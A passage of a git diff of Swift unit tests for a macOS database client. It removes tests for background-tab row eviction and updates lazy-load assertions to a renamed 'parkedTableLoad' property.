diff --git a/apple/TableProTests/Core/Services/Infrastructure/WorkspaceSwitchKeyStateTests.swift b/apple/TableProTests/Core/Services/Infrastructure/WorkspaceSwitchKeyStateTests.swift
index 15f02c6d28..9fc313ea1b 100644
--- a/apple/TableProTests/Core/Services/Infrastructure/WorkspaceSwitchKeyStateTests.swift
+++ b/apple/TableProTests/Core/Services/Infrastructure/WorkspaceSwitchKeyStateTests.swift
@@ -3,8 +3,7 @@
 //  TableProTests
 //
 //  Switching connection inside a window is that window's key change as far as each connection's
-//  coordinator is concerned: the one leaving the screen resigns, which is what schedules the
-//  eviction of its row buffers.
+//  coordinator is concerned: the one leaving the screen resigns.
 //
 
 import AppKit
@@ -75,12 +74,11 @@ struct WorkspaceSwitchKeyStateTests {
         harness.controller.workspaces.select(harness.second.connectionId)
 
         #expect(first.isKeyWindow == false)
-        #expect(first.evictionTask != nil)
         #expect(second.isKeyWindow)
     }
 
     /// A window that is not key can still change its selection, for example when a close is
-    /// cancelled. Marking that connection key kept its row eviction from ever being scheduled.
+    /// cancelled. Marking that connection key ran its deferred restore load in a window nobody saw.
     @Test("Switching in a window that is not key marks nothing key")
     func switchInNonKeyWindowMarksNothingKey() throws {
         let harness = Harness()
diff --git a/apple/TableProTests/Core/Services/Query/TabSessionRegistryTableRowsTests.swift b/apple/TableProTests/Core/Services/Query/TabSessionRegistryTableRowsTests.swift
index 1f34947861..0389fc5ea1 100644
--- a/apple/TableProTests/Core/Services/Query/TabSessionRegistryTableRowsTests.swift
+++ b/apple/TableProTests/Core/Services/Query/TabSessionRegistryTableRowsTests.swift
@@ -14,7 +14,6 @@ struct TabSessionRegistryTableRowsTests {
         let first = store.tableRows(for: tabId)
         #expect(first.rows.isEmpty)
         #expect(first.columns.isEmpty)
-        #expect(store.isEvicted(tabId) == false)
 
         let second = store.tableRows(for: tabId)
         #expect(second.rows.count == first.rows.count)
@@ -58,7 +57,7 @@ struct TabSessionRegistryTableRowsTests {
         #expect(resolved?.rows.count == 1)
     }
 
-    @Test("removeTableRows(for:) deletes the entry and clears evicted state")
+    @Test("removeTableRows(for:) deletes the entry")
     func removeTableRowsDeletes() {
         let store = TabSessionRegistry()
         let tabId = UUID()
@@ -67,50 +66,9 @@ struct TabSessionRegistryTableRowsTests {
             TableRows.from(queryRows: [["x"]], columns: ["c"], columnTypes: [.text(rawType: nil)]),
             for: tabId
         )
-        store.evict(for: tabId)
-        #expect(store.isEvicted(tabId) == true)
 
         store.removeTableRows(for: tabId)
         #expect(store.existingTableRows(for: tabId) == nil)
-        #expect(store.isEvicted(tabId) == false)
-    }
-
-    @Test("evict(for:) clears rows and marks evicted while preserving columns")
-    func evictMarksEvicted() {
-        let store = TabSessionRegistry()
-        let tabId = UUID()
-        let rows = TableRows.from(
-            queryRows: [["a"], ["b"]],
-            columns: ["c"],
-            columnTypes: [.text(rawType: nil)]
-        )
-        store.setTableRows(rows, for: tabId)
-
-        #expect(store.isEvicted(tabId) == false)
-        store.evict(for: tabId)
-
-        #expect(store.isEvicted(tabId) == true)
-        let evicted = store.existingTableRows(for: tabId)
-        #expect(evicted?.rows.isEmpty == true)
-        #expect(evicted?.columns == ["c"])
-    }
-
-    @Test("setTableRows clears evicted flag")
-    func setClearsEvicted() {
-        let store = TabSessionRegistry()
-        let tabId = UUID()
-        store.setTableRows(
-            TableRows.from(queryRows: [["a"]], columns: ["c"], columnTypes: [.text(rawType: nil)]),
-            for: tabId
-        )
-        store.evict(for: tabId)
-        #expect(store.isEvicted(tabId) == true)
-
-        store.setTableRows(
-            TableRows.from(queryRows: [["b"]], columns: ["c"], columnTypes: [.text(rawType: nil)]),
-            for: tabId
-        )
-        #expect(store.isEvicted(tabId) == false)
     }
 
     @Test("updateTableRows applies mutation in place")
diff --git a/apple/TableProTests/Models/Query/TabSessionRegistryTests.swift b/apple/TableProTests/Models/Query/TabSessionRegistryTests.swift
index a3acc545b7..c13f0553a7 100644
--- a/apple/TableProTests/Models/Query/TabSessionRegistryTests.swift
+++ b/apple/TableProTests/Models/Query/TabSessionRegistryTests.swift
@@ -182,7 +182,7 @@ struct TabSessionRegistryTests {
         #expect(session.rowSetRevision == before)
     }
 
-    @Test("Replacing, removing and evicting the buffer each move rowSetRevision")
+    @Test("Replacing and removing the buffer each move rowSetRevision")
     func bufferReplacementMovesRowSetRevision() {
         let registry = TabSessionRegistry()
         let session = TabSession()
@@ -190,15 +190,12 @@ struct TabSessionRegistryTests {
 
         registry.setTableRows(makeRows(["a"]), for: session.id)
         let afterSet = session.rowSetRevision
-        registry.evict(for: session.id)
-        let afterEvict = session.rowSetRevision
         registry.setTableRows(makeRows(["b"]), for: session.id)
         let afterSecondSet = session.rowSetRevision
         registry.removeTableRows(for: session.id)
 
         #expect(afterSet > 0)
-        #expect(afterEvict > afterSet)
-        #expect(afterSecondSet > afterEvict)
+        #expect(afterSecondSet > afterSet)
         #expect(session.rowSetRevision > afterSecondSet)
     }
 
@@ -215,56 +212,32 @@ struct TabSessionRegistryTests {
         #expect(session.dataRevision > before)
     }
 
-    @Test("evict bumps dataRevision, and leaves it alone when there is nothing to evict")
-    func evictBumpsDataRevision() {
-        let registry = TabSessionRegistry()
-        let session = TabSession()
-        registry.register(session)
-        registry.setTableRows(makeRows(["a"]), for: session.id)
-        let before = session.dataRevision
-
-        registry.evict(for: session.id)
-        let afterEvict = session.dataRevision
-        registry.evict(for: session.id)
-
-        #expect(afterEvict > before)
-        #expect(session.dataRevision == afterEvict)
-        #expect(session.tableRows.index(of: .existing(0)) == nil)
-    }
-
     // MARK: - Stale mark
 
     private static func rowsChange(at instant: ContinuousClock.Instant = .now) -> TableFreshness.Change {
         TableFreshness.Change(extent: .rows, at: instant)
     }
 
-    @Test("Marking a tab stale keeps its rows, where evicting drops them")
+    @Test("Marking a tab stale keeps its rows")
     func markingStaleKeepsTheRows() {
         let registry = TabSessionRegistry()
         let stale = UUID()
-        let evicted = UUID()
         registry.setTableRows(makeRows(["a", "b", "c"]), for: stale)
-        registry.setTableRows(makeRows(["a", "b", "c"]), for: evicted)
 
         registry.recordChange(Self.rowsChange(), for: stale)
-        registry.evict(for: evicted)
 
         #expect(registry.isStale(stale))
         #expect(registry.tableRows(for: stale).rows.count == 3)
-        #expect(!registry.isEvicted(stale))
-        #expect(registry.tableRows(for: evicted).rows.isEmpty)
     }
 
-    @Test("A tab whose last result was empty can be marked stale, which eviction refuses")
+    @Test("A tab whose last result was empty can be marked stale")
     func emptyResultCanBeMarkedStale() {
         let registry = TabSessionRegistry()
         let tabId = UUID()
         registry.setTableRows(makeRows([]), for: tabId)
 
-        registry.evict(for: tabId)
         registry.recordChange(Self.rowsChange(), for: tabId)
 
-        #expect(!registry.isEvicted(tabId))
         #expect(registry.isStale(tabId))
     }
 
diff --git a/apple/TableProTests/Models/Query/TabSessionTests.swift b/apple/TableProTests/Models/Query/TabSessionTests.swift
index f166846bd2..ff9bda4a49 100644
--- a/apple/TableProTests/Models/Query/TabSessionTests.swift
+++ b/apple/TableProTests/Models/Query/TabSessionTests.swift
@@ -20,7 +20,6 @@ struct TabSessionTests {
 
         #expect(session.tableRows.rows.isEmpty)
         #expect(session.tableRows.columns.isEmpty)
-        #expect(session.isEvicted == false)
         #expect(session.dataRevision == 0)
         #expect(session.rowSetRevision == 0)
     }
diff --git a/apple/TableProTests/Models/Query/TableRowsRowLocatorTests.swift b/apple/TableProTests/Models/Query/TableRowsRowLocatorTests.swift
index 08b699f698..9867fafb36 100644
--- a/apple/TableProTests/Models/Query/TableRowsRowLocatorTests.swift
+++ b/apple/TableProTests/Models/Query/TableRowsRowLocatorTests.swift
@@ -69,11 +69,4 @@ struct TableRowsRowLocatorTests {
         #expect(rows.rowLocators.isEmpty)
         #expect(table(nil).rowLocators.isEmpty)
     }
-
-    @Test("Releasing the rows releases their locators")
-    func discardClears() {
-        var rows = table(["A", "B", "C"])
-        rows.discardRowsKeepingMetadata()
-        #expect(rows.rowLocators.isEmpty)
-    }
 }
diff --git a/apple/TableProTests/Models/Query/TableRowsTests.swift b/apple/TableProTests/Models/Query/TableRowsTests.swift
index 601fb699b8..0d86475188 100644
--- a/apple/TableProTests/Models/Query/TableRowsTests.swift
+++ b/apple/TableProTests/Models/Query/TableRowsTests.swift
@@ -173,23 +173,6 @@ struct TableRowsIDLookupTests {
         let insertedID = table.rows[0].id
         #expect(table.row(withID: insertedID)?.values == ["v"])
     }
-
-    @Test("discardRowsKeepingMetadata releases rows and their ID index")
-    func discardRowsKeepingMetadataClearsIndex() {
-        var table = TableRows.from(
-            queryRows: [["a"]],
-            columns: ["c1"],
-            columnTypes: [.text(rawType: nil)]
-        )
-
-        table.discardRowsKeepingMetadata()
-
-        #expect(table.rows.isEmpty)
-        #expect(table.index(of: .existing(0)) == nil)
-        #expect(table.row(withID: .existing(0)) == nil)
-        #expect(table.columns == ["c1"])
-        #expect(table.columnTypes == [.text(rawType: nil)])
-    }
 }
 
 struct TableRowsEditTests {
diff --git a/apple/TableProTests/Views/Main/CatalogChangeWindowTests.swift b/apple/TableProTests/Views/Main/CatalogChangeWindowTests.swift
index b6d9c1d808..fbeb76328f 100644
--- a/apple/TableProTests/Views/Main/CatalogChangeWindowTests.swift
+++ b/apple/TableProTests/Views/Main/CatalogChangeWindowTests.swift
@@ -182,7 +182,7 @@ struct CatalogChangeWindowTests {
 
         tabManager.selectedTabId = empty.id
         coordinator.lazyLoadCurrentTabIfNeeded()
-        #expect(coordinator.pendingLoadTrigger == .userInitiated)
+        #expect(coordinator.parkedTableLoad?.trigger == .userInitiated)
     }
 
     @Test("a rows change reloads the selected tab on that table when nothing of the user's is in it")
@@ -247,7 +247,7 @@ struct CatalogChangeWindowTests {
 
         coordinator.applyObjectChange(Self.change(connection, name: "users", database: "shop", schema: nil, kind: .rows))
 
-        #expect(coordinator.pendingLoadTrigger == .userInitiated)
+        #expect(coordinator.parkedTableLoad?.trigger == .userInitiated)
     }
 
     @Test("a structure change marks the structure of a tab on that table, and one holding staged edits owes it")
diff --git a/apple/TableProTests/Views/Main/EvictionTests.swift b/apple/TableProTests/Views/Main/EvictionTests.swift
deleted file mode 100644
index 351d593627..0000000000
--- a/apple/TableProTests/Views/Main/EvictionTests.swift
+++ /dev/null
@@ -1,357 +0,0 @@
-//
-//  EvictionTests.swift
-//  TableProTests
-//
-//  Tests for cross-window tab eviction
-//
-
-import Foundation
-@testable import TablePro
-import TableProPluginKit
-@testable import TableProUtilities
-import Testing
-
-@MainActor
-struct EvictionTests {
-    private let fixtures = CoordinatorFixtures()
-
-    private func makeCoordinator() -> (MainContentCoordinator, QueryTabManager) {
-        let fixture = fixtures.make()
-        return (fixture.coordinator, fixture.tabManager)
-    }
-
-    private func addLoadedTab(
-        to coordinator: MainContentCoordinator,
-        tabManager: QueryTabManager,
-        tableName: String = "users"
-    ) throws {
-        try tabManager.addTableTab(tableName: tableName)
-        guard let index = tabManager.selectedTabIndex else { return }
-        let rows = TestFixtures.makeRows(count: 10)
-        let tabId = tabManager.tabs[index].id
-        let columns = ["id", "name", "email"]
-        let columnTypes: [ColumnType] = Array(repeating: .text(rawType: nil), count: columns.count)
-        let tableRows = TableRows.from(queryRows: rows.map { row in row.map(PluginCellValue.fromOptional) }, columns: columns, columnTypes: columnTypes)
-        coordinator.setActiveTableRows(tableRows, for: tabId)
-        let resultSet = ResultSet(label: tableName, tableRows: tableRows)
-        tabManager.mutate(at: index) { tab in
-            tab.display.resultSets = [resultSet]
-            tab.display.activeResultSetId = resultSet.id
-            tab.execution.lastExecutedAt = Date()
-        }
-    }
-
-    @Test("evictInactiveRowData evicts background tabs without pending changes")
-    func evictsLoadedTabs() throws {
-        let (coordinator, tabManager) = makeCoordinator()
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users")
-        let backgroundTabId = tabManager.tabs[0].id
-        let backgroundResult = try #require(tabManager.tabs[0].display.activeResultSet)
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders")
-
-        #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 10)
-        #expect(backgroundResult.tableRows.rows.count == 10)
-        #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false)
-
-        coordinator.evictInactiveRowData()
-
-        #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == true)
-        #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.isEmpty)
-        #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).index(of: .existing(0)) == nil)
-        #expect(backgroundResult.tableRows.rows.isEmpty)
-        #expect(backgroundResult.tableRows.index(of: .existing(0)) == nil)
-    }
-
-    @Test("eviction helper never evicts the selected tab")
-    func preservesSelectedTab() throws {
-        let (coordinator, tabManager) = makeCoordinator()
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users")
-        let selectedTabId = try #require(tabManager.selectedTabId)
-        let selectedResult = try #require(tabManager.selectedTab?.display.activeResultSet)
-        let loadEpoch = try #require(tabManager.selectedTab?.loadEpoch)
-
-        let didEvict = coordinator.evictReloadableTableRows(for: selectedTabId)
-
-        #expect(didEvict == false)
-        #expect(coordinator.tabSessionRegistry.isEvicted(selectedTabId) == false)
-        #expect(coordinator.tabSessionRegistry.tableRows(for: selectedTabId).rows.count == 10)
-        #expect(selectedResult.tableRows.rows.count == 10)
-        #expect(tabManager.selectedTab?.loadEpoch == loadEpoch)
-    }
-
-    @Test("evictInactiveRowData skips tabs with pending changes")
-    func skipsTabsWithPendingChanges() throws {
-        let (coordinator, tabManager) = makeCoordinator()
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users")
-
-        tabManager.tabs[0].pendingChanges.deletedRowIDs = [.existing(0)]
-        let loadEpoch = tabManager.tabs[0].loadEpoch
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders")
-
-        coordinator.evictInactiveRowData()
-
-        let tabId = tabManager.tabs[0].id
-        #expect(coordinator.tabSessionRegistry.isEvicted(tabId) == false)
-        #expect(coordinator.tabSessionRegistry.tableRows(for: tabId).rows.count == 10)
-        #expect(tabManager.tabs[0].loadEpoch == loadEpoch)
-    }
-
-    @Test("evictInactiveRowData skips tabs with pinned results")
-    func preservesPinnedResults() throws {
-        let (coordinator, tabManager) = makeCoordinator()
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users")
-        let backgroundTabId = tabManager.tabs[0].id
-        let pinnedResult = try #require(tabManager.tabs[0].display.activeResultSet)
-        pinnedResult.isPinned = true
-        let loadEpoch = tabManager.tabs[0].loadEpoch
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders")
-
-        coordinator.evictInactiveRowData()
-
-        #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false)
-        #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 10)
-        #expect(pinnedResult.tableRows.rows.count == 10)
-        #expect(pinnedResult.tableRows.index(of: .existing(0)) == 0)
-        #expect(tabManager.tabs[0].loadEpoch == loadEpoch)
-    }
-
-    @Test("evictInactiveRowData skips table tabs that cannot auto-reload")
-    func skipsNonReloadableTableTabs() throws {
-        let (coordinator, tabManager) = makeCoordinator()
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users")
-        let backgroundTabId = tabManager.tabs[0].id
-        tabManager.tabs[0].execution.errorMessage = "connection lost"
-        let loadEpoch = tabManager.tabs[0].loadEpoch
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders")
-
-        coordinator.evictInactiveRowData()
-
-        #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false)
-        #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 10)
-        #expect(tabManager.tabs[0].loadEpoch == loadEpoch)
-    }
-
-    @Test("evictInactiveRowData skips an executing table tab")
-    func skipsExecutingTableTab() throws {
-        let (coordinator, tabManager) = makeCoordinator()
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users")
-        let backgroundTabId = tabManager.tabs[0].id
-        let loadEpoch = tabManager.tabs[0].loadEpoch
-        let claim = coordinator.tabExecution.claim(backgroundTabId)
-        defer { _ = coordinator.tabExecution.settle(claim) }
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders")
-
-        coordinator.evictInactiveRowData()
-
-        #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false)
-        #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 10)
-        #expect(tabManager.tabs[0].loadEpoch == loadEpoch)
-    }
-
-    @Test("evictInactiveRowData skips a table tab with an active load")
-    func skipsTableTabWithActiveLoad() throws {
-        let (coordinator, tabManager) = makeCoordinator()
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users")
-        let backgroundTabId = tabManager.tabs[0].id
-        let loadEpoch = tabManager.tabs[0].loadEpoch
-        let inFlight = Task<Void, Never> { _ = try? await Task.sleep(for: .seconds(60)) }
-        coordinator.tableLoadTasks[backgroundTabId] = (UUID(), inFlight)
-        defer {
-            inFlight.cancel()
-            coordinator.tableLoadTasks[backgroundTabId] = nil
-        }
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders")
-
-        coordinator.evictInactiveRowData()
-
-        #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false)
-        #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 10)
-        #expect(tabManager.tabs[0].loadEpoch == loadEpoch)
-    }
-
-    @Test("evictInactiveRowData skips tables loading rows", arguments: [false, true])
-    func skipsTableTabLoadingRows(isLoadingMore: Bool) throws {
-        let (coordinator, tabManager) = makeCoordinator()
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users")
-        let backgroundTabId = tabManager.tabs[0].id
-        let loadEpoch = tabManager.tabs[0].loadEpoch
-        tabManager.mutate(at: 0) { tab in
-            if isLoadingMore {
-                tab.pagination.isLoadingMore = true
-            } else {
-                tab.pagination.isLoading = true
-            }
-        }
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders")
-
-        coordinator.evictInactiveRowData()
-
-        #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false)
-        #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 10)
-        #expect(tabManager.tabs[0].loadEpoch == loadEpoch)
-    }
-
-    @Test("evictInactiveRowData does not evict query results")
-    func preservesQueryResults() throws {
-        let (coordinator, tabManager) = makeCoordinator()
-        tabManager.addTab(initialQuery: "SELECT 1")
-        let queryIndex = try #require(tabManager.selectedTabIndex)
-        let queryTabId = tabManager.tabs[queryIndex].id
-        let queryRows = TableRows.from(
-            queryRows: [[.text("1")]],
-            columns: ["value"],
-            columnTypes: [.integer(rawType: nil)]
-        )
-        coordinator.setActiveTableRows(queryRows, for: queryTabId)
-        let queryResult = ResultSet(label: "SELECT 1", tableRows: queryRows)
-        tabManager.mutate(at: queryIndex) { tab in
-            tab.display.resultSets = [queryResult]
-            tab.display.activeResultSetId = queryResult.id
-            tab.execution.lastExecutedAt = Date()
-        }
-        let loadEpoch = tabManager.tabs[queryIndex].loadEpoch
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders")
-
-        coordinator.evictInactiveRowData()
-
-        #expect(coordinator.tabSessionRegistry.isEvicted(queryTabId) == false)
-        #expect(coordinator.tabSessionRegistry.tableRows(for: queryTabId).rows.count == 1)
-        #expect(queryResult.tableRows.rows.count == 1)
-        #expect(tabManager.tabs[queryIndex].loadEpoch == loadEpoch)
-    }
-
-    @Test("evictInactiveRowData preserves column metadata after eviction")
-    func preservesMetadataAfterEviction() throws {
-        let (coordinator, tabManager) = makeCoordinator()
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users")
-        let backgroundTabId = tabManager.tabs[0].id
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders")
-
-        coordinator.evictInactiveRowData()
-
-        let rows = coordinator.tabSessionRegistry.tableRows(for: backgroundTabId)
-        #expect(rows.columns == ["id", "name", "email"])
-        #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == true)
-    }
-
-    @Test("evictInactiveRowData with no tabs is no-op")
-    func noTabsIsNoOp() {
-        let (coordinator, _) = makeCoordinator()
-        coordinator.evictInactiveRowData()
-    }
-
-    @Test("eviction skips a table tab whose query is blank")
-    func skipsTableTabWithBlankQuery() throws {
-        let (coordinator, tabManager) = makeCoordinator()
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users")
-        let backgroundTabId = tabManager.tabs[0].id
-        tabManager.mutate(at: 0) { $0.content.query = "   \n\t " }
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders")
-
-        coordinator.evictInactiveRowData()
-
-        #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false)
-        #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 10)
-    }
-
-    @Test("eviction skips a table tab running work that took no execution claim")
-    func skipsTableTabWithUnclaimedWork() throws {
-        let (coordinator, tabManager) = makeCoordinator()
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users")
-        let backgroundTabId = tabManager.tabs[0].id
-        let token = coordinator.tabExecution.beginUnclaimedWork(for: backgroundTabId)
-        defer { coordinator.tabExecution.endUnclaimedWork(token, for: backgroundTabId) }
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders")
-
-        coordinator.evictInactiveRowData()
-
-        #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false)
-        #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 10)
-    }
-
-    @Test("metadata landing after eviction does not resurrect an empty tab")
-    func lateMetadataKeepsTabEvicted() throws {
-        let (coordinator, tabManager) = makeCoordinator()
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users")
-        let backgroundTabId = tabManager.tabs[0].id
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders")
-
-        coordinator.evictInactiveRowData()
-        #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == true)
-
-        coordinator.mutateActiveTableRows(for: backgroundTabId) { rows in
-            rows.columnEnumValues["status"] = ["active", "archived"]
-            return .columnsReplaced
-        }
-
-        #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == true)
-        #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.isEmpty)
-    }
-
-    @Test("rows arriving after eviction clear the evicted flag")
-    func reloadedRowsClearTheEvictedFlag() throws {
-        let (coordinator, tabManager) = makeCoordinator()
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "users")
-        let backgroundTabId = tabManager.tabs[0].id
-        try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "orders")
-
-        coordinator.evictInactiveRowData()
-        let reloaded = TableRows.from(
-            queryRows: [[.text("1")]],
-            columns: ["id"],
-            columnTypes: [.integer(rawType: nil)]
-        )
-        coordinator.setActiveTableRows(reloaded, for: backgroundTabId)
-
-        #expect(coordinator.tabSessionRegistry.isEvicted(backgroundTabId) == false)
-        #expect(coordinator.tabSessionRegistry.tableRows(for: backgroundTabId).rows.count == 1)
-    }
-
-    @Test("evictInactiveTabs keeps the newest tabs within the memory budget")
-    func budgetKeepsNewestTabs() throws {
-        let (coordinator, tabManager) = makeCoordinator()
-        let budget = MemoryPressureAdvisor.budgetForInactiveTabs()
-        let total = budget + 3
-        var executedAt: [UUID: Date] = [:]
-        for index in 0..<total {
-            try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "table_\(index)")
-            let tabIndex = try #require(tabManager.selectedTabIndex)
-            let stamp = Date(timeIntervalSince1970: TimeInterval(1_000 + index))
-            tabManager.mutate(at: tabIndex) { $0.execution.lastExecutedAt = stamp }
-            executedAt[tabManager.tabs[tabIndex].id] = stamp
-        }
-        let selectedId = try #require(tabManager.selectedTabId)
-
-        coordinator.evictInactiveTabs(excluding: [selectedId])
-
-        let evictable = tabManager.tabs
-            .filter { $0.id != selectedId }
-            .sorted { executedAt[$0.id] ?? .distantPast < executedAt[$1.id] ?? .distantPast }
-        let expectedEvicted = evictable.count - budget
-        #expect(expectedEvicted > 0)
-        for (position, tab) in evictable.enumerated() {
-            #expect(coordinator.tabSessionRegistry.isEvicted(tab.id) == (position < expectedEvicted))
-        }
-        #expect(coordinator.tabSessionRegistry.isEvicted(selectedId) == false)
-    }
-
-    @Test("evictInactiveTabs never evicts a tab it was told is active")
-    func budgetSkipsActiveTabs() throws {
-        let (coordinator, tabManager) = makeCoordinator()
-        let budget = MemoryPressureAdvisor.budgetForInactiveTabs()
-        for index in 0..<(budget + 3) {
-            try addLoadedTab(to: coordinator, tabManager: tabManager, tableName: "table_\(index)")
-            let tabIndex = try #require(tabManager.selectedTabIndex)
-            tabManager.mutate(at: tabIndex) {
-                $0.execution.lastExecutedAt = Date(timeIntervalSince1970: TimeInterval(1_000 + index))
-            }
-        }
-        let selectedId = try #require(tabManager.selectedTabId)
-        let oldestId = tabManager.tabs[0].id
-
-        coordinator.evictInactiveTabs(excluding: [selectedId, oldestId])
-
-        #expect(coordinator.tabSessionRegistry.isEvicted(oldestId) == false)
-        #expect(coordinator.tabSessionRegistry.tableRows(for: oldestId).rows.count == 10)
-    }
-}
diff --git a/apple/TableProTests/Views/Main/MainContentCoordinatorDisplayStateTests.swift b/apple/TableProTests/Views/Main/MainContentCoordinatorDisplayStateTests.swift
index 8228adc933..ecec0f0675 100644
--- a/apple/TableProTests/Views/Main/MainContentCoordinatorDisplayStateTests.swift
+++ b/apple/TableProTests/Views/Main/MainContentCoordinatorDisplayStateTests.swift
@@ -119,20 +119,6 @@ struct MainContentCoordinatorDisplayStateTests {
         #expect(formatted.box(forID: .existing(0)) == nil)
     }
 
-    @Test("Evicting a tab's rows drops the text formatted from them")
-    func evictionDropsTheState() {
-        let (coordinator, tabManager) = makeCoordinator()
-        let first = addTableTab(to: tabManager, tableName: "orders")
-        let second = addTableTab(to: tabManager, tableName: "customers")
-        seedRows(coordinator, for: first.id)
-        seedRows(coordinator, for: second.id)
-        let formatted = cache(coordinator, first.id, rows: [0])
-
-        #expect(coordinator.evictReloadableTableRows(for: first.id))
-        #expect(formatted.box(forID: .existing(0)) == nil)
-        #expect(coordinator.gridModel(forTab: first.id).rowCount == 0)
-    }
-
     @Test("Closed tabs take their grid model with them")
     func closingATabPrunesTheState() {
         let (coordinator, tabManager) = makeCoordinator()
diff --git a/apple/TableProTests/Views/Main/MainContentCoordinatorLazyLoadTests.swift b/apple/TableProTests/Views/Main/MainContentCoordinatorLazyLoadTests.swift
index 8d1ddebb19..3251e31267 100644
--- a/apple/TableProTests/Views/Main/MainContentCoordinatorLazyLoadTests.swift
+++ b/apple/TableProTests/Views/Main/MainContentCoordinatorLazyLoadTests.swift
@@ -8,6 +8,7 @@
 //  and handleTabChange.
 //
 
+import AppKit
 import Foundation
 import TableProPluginKit
 import Testing
@@ -71,7 +72,7 @@ struct MainContentCoordinatorLazyLoadTests {
     func skipsWhenNoSelectedTab() {
         let (coordinator, _) = makeCoordinator()
         coordinator.lazyLoadCurrentTabIfNeeded()
-        #expect(coordinator.pendingLoadTrigger == nil)
+        #expect(coordinator.parkedTableLoad == nil)
     }
 
     @Test("Returns early when selected tab is a query tab (not a table tab)")
@@ -79,7 +80,7 @@ struct MainContentCoordinatorLazyLoadTests {
         let (coordinator, tabManager) = makeCoordinator()
         _ = addQueryTab(to: tabManager)
         coordinator.lazyLoadCurrentTabIfNeeded()
-        #expect(coordinator.pendingLoadTrigger == nil)
+        #expect(coordinator.parkedTableLoad == nil)
     }
 
     @Test("Returns early when tab has an error message")
@@ -92,7 +93,7 @@ struct MainContentCoordinatorLazyLoadTests {
         }
         tabManager.tabs[idx].execution.errorMessage = "boom"
         coordinator.lazyLoadCurrentTabIfNeeded()
-        #expect(coordinator.pendingLoadTrigger == nil)
+        #expect(coordinator.parkedTableLoad == nil)
     }
 
     @Test("Returns early when tab query is whitespace-only")
@@ -100,7 +101,7 @@ struct MainContentCoordinatorLazyLoadTests {
         let (coordinator, tabManager) = makeCoordinator()
         _ = addTableTab(to: tabManager, query: "    ")
         coordinator.lazyLoadCurrentTabIfNeeded()
-        #expect(coordinator.pendingLoadTrigger == nil)
+        #expect(coordinator.parkedTableLoad == nil)
     }
 
     @Test("Returns early when tab has fresh row data already loaded")
@@ -115,7 +116,7 @@ struct MainContentCoordinatorLazyLoadTests {
         tabManager.tabs[idx].execution.lastExecutedAt = Date()
 
         coordinator.lazyLoadCurrentTabIfNeeded()
-        #expect(coordinator.pendingLoadTrigger == nil)
+        #expect(coordinator.parkedTableLoad == nil)
         #expect(coordinator.tabSessionRegistry.tableRows(for: tabId).rows.count == 5)
     }
 
@@ -133,7 +134,7 @@ struct MainContentCoordinatorLazyLoadTests {
 
         coordinator.lazyLoadCurrentTabIfNeeded()
 
-        #expect(coordinator.pendingLoadTrigger == .userInitiated)
+        #expect(coordinator.parkedTableLoad?.trigger == .userInitiated)
         #expect(coordinator.tabSessionRegistry.tableRows(for: tabId).rows.count == 5)
     }
 
@@ -152,7 +153,7 @@ struct MainContentCoordinatorLazyLoadTests {
 
         coordinator.lazyLoadCurrentTabIfNeeded()
 
-        #expect(coordinator.pendingLoadTrigger == nil)
+        #expect(coordinator.parkedTableLoad == nil)
     }
 
     @Test("Returns early when tab has pending edits in the change manager")
@@ -167,7 +168,7 @@ struct MainContentCoordinatorLazyLoadTests {
         tabManager.tabs[idx].pendingChanges.deletedRowIDs = [.existing(0)]
 
         coordinator.lazyLoadCurrentTabIfNeeded()
-        #expect(coordinator.pendingLoadTrigger == nil)
